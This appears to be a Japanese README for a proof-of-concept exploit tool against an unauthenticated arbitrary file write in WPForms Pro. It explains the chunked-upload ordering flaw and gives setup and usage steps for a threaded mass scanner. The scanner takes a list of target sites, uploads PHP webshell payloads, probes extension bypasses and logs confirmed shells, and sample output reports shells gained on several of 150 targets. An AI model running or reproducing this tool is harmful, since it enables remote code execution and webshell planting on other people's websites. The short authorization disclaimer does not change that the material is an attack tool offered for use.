
WPForms Pro <= 1.10.1.1 - チャンクアップロードのInit/Finalize順序による未認証の任意ファイル書き込み
WPForms Pro <= 1.10.1.1 - チャンクアップロードのInit/Finalize順序に起因する未認証の任意ファイル書き込み
概念実証(PoC)エクスプロイト
チャンクアップロードのInit/Finalize順序 → 予測可能なパス公開 → リモートコード実行
| 項目 | 詳細 |
|---|---|
| CVE ID | CVE-2026-10818 |
| 影響を受けるプラグイン | WPForms Pro (WordPress) |
| 影響を受けるバージョン | 1.10.1.1 までの全バージョン |
| 種別 | 未認証の任意ファイル書き込み |
| CWE | CWE-434: Unrestricted Upload of File with Dangerous Type |
| CVSS 3.1 | 8.1 HIGH — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 認証 | 不要 |
WordPress用プラグインWPForms Proは、ajax_chunk_upload_finalize 関数を介して、1.10.1.1 までの全バージョンで任意ファイルアップロードの脆弱性の影響を受けます。これは、ファイルタイプの検証が、チャンクのメタデータとファイル内容がすでにディスクに書き込まれた後に実行され、さらに検証が失敗しても結合済みファイルが削除されないことが原因です。これにより、未認証の攻撃者が実行可能な可能性のあるファイルをアップロードできるため、リモートコード実行が可能になります。
wpforms_upload_chunk_init → Metadata created BEFORE extension validation
wpforms_upload_chunk → Chunk bytes written regardless of init result
wpforms_file_chunks_uploaded → File assembled BEFORE type validation
→ File persists on disk even when validation fails
この脆弱性チェーンは、チャンクアップロードのライフサイクルにおける重大な順序の欠陥を悪用します:
SHA1(UUID)-0.chunk)に書き込みますwp_ajax_nopriv_*)readme.txt とHTMLソースを読み取って、脆弱なWPFormsバージョンを特定しますwpforms_upload_chunk_init が外部から到達可能であることを確認しますSHA1(UUID) による決定的なファイルパスを利用SHA1(client-controlled UUID) を計算し、推測なしで正確なチャンクURLを導出します/wpforms/tmp/ のスナップショットを取り、新しく書き込まれたファイルを特定します<32hex>.<ext> のファイル名パターンを検出します.chunk/x.php、/.php)を試行し、非PHP拡張子でのPHP実行を誘発しますPython >= 3.8
pip install requests urllib3 beautifulsoup4
beautifulsoup4はオプションですが、より信頼性の高いフォームフィールド抽出のために推奨されます。
python CVE-2026-10818.py
次の項目を入力するよう求められます:
| プロンプト | 説明 | デフォルト |
|---|---|---|
| ターゲットファイル | 1行に1ターゲットを含むテキストファイルのパス | list.txt |
| スレッド数 | 同時ワーカー数(1〜20) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
1行に1つのURLを指定します。http://、https://、ベアドメイン、IP、サブディレクトリ配下のインストールに対応しています。
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ ┃
┃ ██▄ ██ ██ ██ ┃
┃ ████ ██ ████ ┃
┃ ██ ██ ██ ██ ┃
┃ ██ ████ ████ ┃
┃ ██ ███ ██ ██ ┃
┃ ┃
┃ Nxploited ━ Khaled Alenazi ━ T.m @Kxploit ┃
┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ CVE-2026-10818 WPForms Pro ≤ 1.10.1.1 ┃
┃ Chunked Upload → Predictable Path → RCE ┃
┃ Results ━▸ Nx_hit/ ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
スキャン中、各ターゲットはラベル付きステージを順に進行します:
02:14:52 ◆ target.com VER WPForms 1.9.3.1 vulnerable
02:14:53 ◆ target.com FORM 1 upload form(s) on /contact
02:14:53 ◆ target.com UPLOAD 6 safe + 5 exec payloads
02:14:55 ◆ target.com FIN poly_png → a8f3...1b22.png URL returned
02:14:57 ◆ target.com DIR listing enabled, 4 file(s) before exec upload
02:14:59 ◐ target.com EXEC shell_php → finalized on disk (hash unknown)
02:15:01 ◆ target.com DIR 1 NEW exec file(s) after upload!
● target.com SHELL dir-new:7c4f...e8a1.php https://target.com/wp-content/uploads/wpforms/tmp/7c4f...e8a1.php
すべての結果は Nx_hit/ に保存されます:
| ファイル | 内容 |
|---|---|
Nx_shell.txt | RCE確定 — URL、ラベル、レスポンスボディのプレビュー |
Nx_vuln.txt | 実行検証なしの任意ファイル書き込み確定 |
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ COMPLETE 150 targets processed ┃
┃ ┃
┃ ● 3 shell ◐ 12 vuln ○ 85 skip ✗ 50 miss ┃
┃ ┃
┃ Results ━▸ Nx_hit/ ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
| 記号 | 意味 |
|---|---|
● shell |
Target
│
├─ Reachability (HTTPS → HTTP fallback)
├─ WPForms Version Detection
├─ Form Discovery (100+ page paths + sitemap crawl)
├─ AJAX Route Validation
│
├─ Phase 1: Safe Uploads (png/jpg/pdf + finalize → URL)
│ └─ Shell verification on returned URLs
│
├─ Phase 2: Directory Snapshot (BEFORE)
│
├─ Phase 3: Exec Uploads (php/phtml/php5/phar/shtml + finalize)
│ ├─ Leaked filename extraction from response
│ └─ Hash pattern extraction from body + headers
│
├─ Phase 4: Directory Snapshot (AFTER) → Diff → New exec files
│ └─ Shell verification on each new file
│
├─ Phase 5: Hash Leak Verification
│ └─ Build URLs from leaked hashes → Shell check
│
├─ Phase 6: Chunk-Only Uploads (no finalize → predictable SHA1 path)
│ └─ Direct access + PATH_INFO bypass probing
│
└─ Result Classification (shell / vuln / skip / miss)
このツールは認可されたセキュリティテストおよび教育目的の研究専用として提供されます。所有しているシステム、または明示的な書面によるテスト許可を得たシステムでのみ使用してください。
コンピュータシステムへの不正アクセスは違法です。作者は、本ソフトウェアの使用に起因する誤用、損害、または法的結果について一切の責任を負いません。
本ツールを使用することにより、利用者はご自身の行為に対して単独で責任を負い、適用されるすべての法律および規制を遵守することに同意したものとみなされます。
作者: Nxploited
Khaled Alenazi
T.m @Kxploit
| リモートターゲット上でPHPの実行が確認された |
◐ vuln | ファイルはディスクに書き込まれたが、実行は未確認 |
○ skip | ターゲットに到達不可、パッチ済み、またはアップロードフォームが見つからない |
✗ miss | アップロード試行が失敗 |